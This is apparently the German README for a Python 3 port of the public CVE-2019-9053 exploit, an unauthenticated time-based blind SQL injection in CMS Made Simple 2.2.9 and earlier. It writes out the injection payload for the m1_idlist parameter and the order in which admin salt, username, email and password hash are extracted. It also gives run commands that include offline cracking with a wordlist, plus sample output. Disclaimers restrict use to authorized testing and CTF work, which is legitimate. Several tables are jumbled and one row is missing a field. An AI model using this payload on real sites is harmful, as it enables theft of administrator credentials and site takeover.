
Nicht authentifizierter zeitbasierter Blind-SQL-Injection-Exploit für CMS Made Simple ≤ 2.2.9 (CVE-2019-9053), auf Python 3 portiert.
Haftungsausschluss: Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Bildungszwecke gedacht. Der Einsatz gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Dies ist ein Python-3-Port des öffentlichen Exploits für CVE-2019-9053 — eine nicht authentifizierte zeitbasierte Blind-SQL-Injection-Schwachstelle in CMS Made Simple ≤ 2.2.9.
Der verwundbare Parameter ist m1_idlist auf dem Endpunkt /moduleinterface.php (News-Modul). Die Benutzereingabe wird unbereinigt in eine SQL-Abfrage übernommen, wodurch ein nicht authentifizierter Angreifer das Admin-Salt, den Benutzernamen, die E-Mail-Adresse und den Passwort-Hash extrahieren kann — und optional das Passwort offline knacken kann.
Ursprünglicher Exploit von Daniele Scanu @ Certimeter Group.
Python-3-Port mit Korrekturen und Bereinigung.
Der Exploit nutzt ein Timing-Orakel — er injiziert SELECT sleep(T) in eine SQL-LIKE-Bedingung und misst die HTTP-Antwortzeit. Wenn der Server ≥ T Sekunden verzögert, war die injizierte Bedingung wahr. Dadurch können Daten Zeichen für Zeichen extrahiert werden, ohne dass jemals Daten im HTTP-Antworttext erscheinen.
Payload-Struktur:
m1_idlist=a,b,1,5))+and+(select+sleep(1)+from+cms_users
+where+password+like+0x{hex(bekanntes_präfix+vermutung)}25
+and+user_id+like+0x31)+--+
Extraktionsreihenfolge:
Nach der Extraktion berechnet der optionale Offline-Wörterbuchangriff MD5(salt + wort) gegen eine Wortliste — keine weiteren Netzwerkanfragen erforderlich.
Das ursprüngliche Skript wurde für Python 2 geschrieben. Die folgenden problematischen Änderungen wurden behoben:
pip3 install requests termcolor
| Abhängigkeit | Zweck |
|---|---|
requests | HTTP-Anfragen an das Zielsystem |
termcolor | Farbige Terminal-Ausgabe |
# Grundlegende Extraktion (ohne Passwort-Knacken)
python3 exploit.py -u http://<ziel-ip>/simple
# Extraktion + Offline-Passwort-Knacken
python3 exploit.py -u http://<ziel-ip>/simple --crack -w /usr/share/wordlists/rockyou.txt
| Flag | Beschreibung |
|---|---|
-u, --url |
[+] Salt for password found: 1234abcd
[+] Username found: admin
[+] Email found: [email protected]
[+] Password found: a1b2c3d4e5f6...
[+] Password cracked: password123
Dieser Exploit wird ausschließlich für autorisierte Penetrationstests und CTF-/Bildungszwecke bereitgestellt.
Die unbefugte Verwendung gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Testgenehmigung hast, ist eine Straftat gemäß dem IT Act, 2000 (Indien) und entsprechenden Gesetzen weltweit.
| Schritt | Feld | Tabelle | Hinweise |
|---|
| 1 | Salt | cms_siteprefs | Erforderlich, um das Passwort zu knacken |
| 2 | Benutzername | cms_users | user_id = 1 (Admin) |
| 3 | cms_users | user_id = 1 (Admin) | |
| 4 | Passwort | cms_users | Gespeichert als MD5(salt + passwort) |
| # | Änderung | Grund |
|---|
| 1 | print "..." → print("...") | print ist in Python 3 eine Funktion |
| 2 | hashlib.md5(str(salt) + line) → hashlib.md5((salt + line).encode()) | hashlib.md5() erfordert in Python 3 bytes |
| 3 | dict = open(wordlist) → with open(wordlist) as wordlist_file | dict überdeckt ein eingebautes Objekt; Umstellung auf Kontextmanager |
| 4 | print "\033c" → print("\033c", end="") | Vermeidet doppelten Zeilenumbruch beim Terminal-Clear |
| 5 | print colored(...) → print(colored(...)) | colored() gibt einen String zurück; benötigt print()-Wrapper |
| Basis-URL der CMS-Made-Simple-Installation |
-w, --wordlist | Pfad zu einer Wortliste für das Offline-Passwort-Knacken |
-c, --crack | Modus zum Passwort-Knacken aktivieren |
| Feld | Wert |
|---|
| CVE-ID | CVE-2019-9053 |
| CVSS-Score | 7.5 (Hoch) |
| Typ | Nicht authentifizierte zeitbasierte Blind-SQL-Injection |
| Betroffen | CMS Made Simple ≤ 2.2.9 |
| Parameter | m1_idlist im News-Modul |
| Authentifizierung | Keine |
| Patch | CMS Made Simple 2.2.10+ |